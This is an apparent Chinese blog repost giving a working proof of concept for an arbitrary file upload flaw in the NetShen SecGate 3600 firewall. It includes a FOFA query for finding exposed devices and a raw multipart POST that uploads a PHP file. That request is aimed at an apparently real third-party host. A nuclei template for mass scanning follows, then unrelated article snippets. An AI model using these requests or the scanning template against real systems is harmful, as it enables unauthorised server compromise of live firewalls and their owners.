首页 > 其他分享 >网神SecGate 3600防火墙obj_app_upfile任意文件上传漏洞

网神SecGate 3600防火墙obj_app_upfile任意文件上传漏洞

时间:2023-08-29 12:23:11浏览次数:67  
标签:SecGate 3600 obj name form Content WebKitFormBoundaryJpMyThWnAxbcBBQc ------ upf

漏洞简介

网神 SecGate 3600 防火墙 obj_app_upfile接口存在任意文件上传漏洞,攻击者通过构造特殊请求包即可获取服务器权限

影响范围

网神SecGate 3600防火墙

漏洞复现

fofa语法:fid="1Lh1LHi6yfkhiO83I59AYg=="
登录页面如下:

POC:

POST /?g=obj_app_upfile HTTP/1.1
Host: jg.zhongdinggroup.com:8889
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 574
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJpMyThWnAxbcBBQc
User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.0; Trident/4.0)

------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="upfile"; filename="test.php"
Content-Type: text/plain

<?php phpinfo();?>

------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="submit_post"

obj_app_upfile
------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundaryJpMyThWnAxbcBBQc--


默认上传路径 /secgate/webui/attachements/ , 访问 attachements/test.php 文件

nuclei批量yaml文件

id: SecGate_3600_obj_app_upfile_upload

info:
  name: 网神SecGate 3600防火墙obj_app_upfile任意文件上传漏洞
  author: mhb17
  severity: critical
  tags: upload
  description: fofa  fid="1Lh1LHi6yfkhiO83I59AYg=="
variables:
  file_name: "{{to_lower(rand_text_alpha(8))}}.php"
requests:
  - raw:
      - |-
        POST /?g=obj_app_upfile HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Accept-Encoding: gzip, deflate
        Content-Length: 549
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJpMyThWnAxbcBBQc
        User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.0; Trident/4.0)

        ------WebKitFormBoundaryJpMyThWnAxbcBBQc
        Content-Disposition: form-data; name="MAX_FILE_SIZE"

        10000000
        ------WebKitFormBoundaryJpMyThWnAxbcBBQc
        Content-Disposition: form-data; name="upfile"; filename="{{file_name}}"
        Content-Type: text/plain

        <?php phpinfo();?>

        ------WebKitFormBoundaryJpMyThWnAxbcBBQc
        Content-Disposition: form-data; name="submit_post"

        obj_app_upfile
        ------WebKitFormBoundaryJpMyThWnAxbcBBQc
        Content-Disposition: form-data; name="__hash__"

        0b9d6b1ab7479ab69d9f71b05e0e9445
        ------WebKitFormBoundaryJpMyThWnAxbcBBQc--
      - |+
        GET /attachements/{{file_name}} HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
        Connection: close

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - "contains(body_2, 'phpinfo()')"
          - "status_code_1 == 302 && status_code_2 == 200"
        condition: and

标签:SecGate,3600,obj,name,form,Content,WebKitFormBoundaryJpMyThWnAxbcBBQc,------,upf
From: https://www.cnblogs.com/pursue-security/p/17664417.html

相关文章

  • 三维模型OBJ格式轻量化压缩并行计算处理方法浅析
    三维模型OBJ格式轻量化压缩并行计算处理方法浅析   三维模型的轻量化是指通过一系列技术和算法来减小三维模型的文件大小,以提高模型在计算机中的加载、渲染和传输效率。并行计算是利用多个计算单元同时执行任务,以加速计算过程的一种技术。在三维模型的OBJ格式轻量化中,可......
  • 浅析三维模型OBJ格式轻量化压缩集群处理方法
    浅析三维模型OBJ格式轻量化压缩集群处理方法 三维模型的OBJ格式轻量化压缩是指通过一系列技术和方法将三维模型的文件大小进一步减小,以提高模型在计算机中的加载、传输和存储效率。集群处理技术是指利用多台计算机构成的集群来并行处理任务,以加速计算过程。在三维模型的OBJ格......
  • 论文解读 | OmniObject3D:用于逼真感知、重建和生成的大词汇量3D对象数据集
    原创|文BFT机器人这篇论文的主要目标是介绍和探索OmniObject3D数据集,该数据集包含大量真实扫描的3D物体,涵盖了190个类别,提供了多种丰富的注释,包括纹理3D网格、采样点云、多视图图像等。作者将OmniObject3D应用于多个3D视觉任务,包括交叉场景的新视角合成、神经表面重建和3D物体生......
  • Newtonsoft.Json:JObject 动态添加字段/List<JObject>转DataTable
    1.JObject动态添加字段;varjsonObject=newJObject();foreach(varkeyinKeys){jsonObject.Add(key,value);}jsonObject.Add("*****","1");2. List<JObject>转DataTable1): 首先List<JObject>转stringList<JObject>jso......
  • Qt开发思想探幽]QObject、模板继承和多继承
    @目录[Qt开发探幽]QObject、模板继承和多继承1.QObject为什么不允许模板继承:2.如果需要使用QObject进行多继承的话,子对象引用的父类链至多只能含有一个QObject3.如果使用模板类和QObject做多继承,编译不通过问题场景[Qt开发探幽]QObject、模板继承和多继承当我们在用Qt开发一个......
  • 20230531 java.util.Objects
    介绍java.util.ObjectspublicfinalclassObjectsAPIstaticequalsdeepEquals比较数组元素hashCodehash为一系列输入值生成哈希码toStringStringtoString(Objecto)StringtoString(Objecto,StringnullDefault)compare<T>intcompare(Ta,Tb,......
  • 三维模型OBJ格式轻量化压缩处理效率提高的技术方法探讨
    三维模型OBJ格式轻量化压缩处理效率提高的技术方法探讨   要提高三维模型OBJ格式轻量化压缩处理的效率,可以采取以下方法:1、优化算法选择:选择合适的优化算法对模型进行轻量化处理。不同的优化算法有不同的时间复杂度和效果。一些常用的优化算法包括网格简化、顶点合并、......
  • 浅析三维模型OBJ格式轻量化压缩文件大小的技术方法
    浅析三维模型OBJ格式轻量化压缩文件大小的技术方法   在减小三维模型OBJ格式轻量化文件大小方面,有许多技术和方法可以使用。下面我将介绍一些常用的方法来减小OBJ文件的大小。1、优化顶点数量:减少OBJ文件中的顶点数量是减小文件大小的一种有效方法。可以使用一些优化算......
  • IfcObjective
    IfcObjective实体定义IfcObjective捕获基于目标的约束的定性信息。 IfcObjective是IfcConstraint的一个子类型,可以通过IfcControlExtension架构中的IfcRelAssociatesConstraint关系与IfcRoot的任何子类型相关联,也可以通过IfcResourceConstraintRelationship与IfcProperty相关......
  • StandardXAPoolDataSource的CheckLevelObject属性
    调用StandardPoolDataSource或者StandardXAPoolDataSource的setCheckLevelObject(int)方法设置连接检查级别,参数取值如下:0:不检查1:对unlocked池中获取的连接进行Closed检查2:对unlocked池中获取的连接进行sql测试,需要设置setJdbcTestStmt(TestSQL)......